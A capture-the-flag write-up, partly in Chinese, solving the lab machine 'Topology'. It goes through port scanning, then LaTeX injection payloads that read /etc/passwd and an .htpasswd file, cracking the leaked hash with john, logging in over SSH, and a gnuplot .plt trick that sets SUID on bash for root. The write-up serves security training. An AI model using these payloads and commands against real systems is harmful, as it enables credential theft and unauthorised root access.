Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.11.217 | TCP:22,80 |
$ ip='10.10.11.217'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
| 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
LaTeX LFI
# echo "10.10.11.217 topology.htb latex.topology.htb" >>/etc/hosts
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图](https://img.4awl.net/img/22/51a61ad37220c66be460f2feae06b8.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图")
http://latex.topology.htb/equation.php
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图1](https://img.4awl.net/img/c0/104d8343ad651842116dec2da2b0e8.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图1")
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html?highlight=LaTex#latex-injection
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图2](https://img.4awl.net/img/49/20de00aeeafcd28470da52896e5ffa.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图2")
$\lstinputlisting{/etc/passwd}$
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图3](https://img.4awl.net/img/37/af874b38ad6495a4a6d7bbd3e6be2b.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图3")
$\lstinputlisting{/var/www/dev/.htpasswd}$
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图4](https://img.4awl.net/img/39/ec9f509b142ba8d0d7117c902a98d7.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图4")
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
$ john hash -w /home/maptnh/Desktop/rockyou.txt
password:calculus20
$ ssh vdaisley@10.10.11.217
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图5](https://img.4awl.net/img/b0/9e17bc1c32cbb873569da755180a27.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图5")
User.txt
ea549fbe9b9b240c598e7bf40f2f9532
Privilege Escalation:Gnuplot .plt
Gnuplot 是一个命令行驱动的科学绘图工具，它可以将数学函数或数值资料以平面图或立体图的形式画在不同种类终端机或绘图输出装置上。它支持多种类型的图形输出，如线图、散点图、柱状图、等高线图、表面图等
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图6](https://img.4awl.net/img/c6/cac89224457dc1778a8149a5da8829.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图6")
在 /opt/gnuplot 目录下查找所有扩展名为 .plt 的文件，并使用 gnuplot 程序来执行这些文件。
$ echo 'system "chmod u+s /bin/bash"'>/opt/gnuplot/exp.plt
$ /bin/bash -p
![[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图7](https://img.4awl.net/img/9c/f48b8a940d0fca389e65c7955101f6.jpg "[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升插图7")
Root.txt
a7da9976eb37c87c889639f9e98503df
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
